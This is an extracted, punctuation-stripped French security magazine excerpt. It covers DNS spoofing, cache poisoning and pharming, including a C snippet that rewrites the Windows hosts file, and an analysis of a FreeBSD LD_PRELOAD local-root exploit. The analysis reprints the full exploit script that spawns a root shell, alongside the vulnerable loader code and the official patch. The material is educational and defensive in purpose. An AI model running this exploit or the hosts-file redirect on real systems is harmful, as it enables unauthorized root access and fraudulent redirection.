bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 20: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

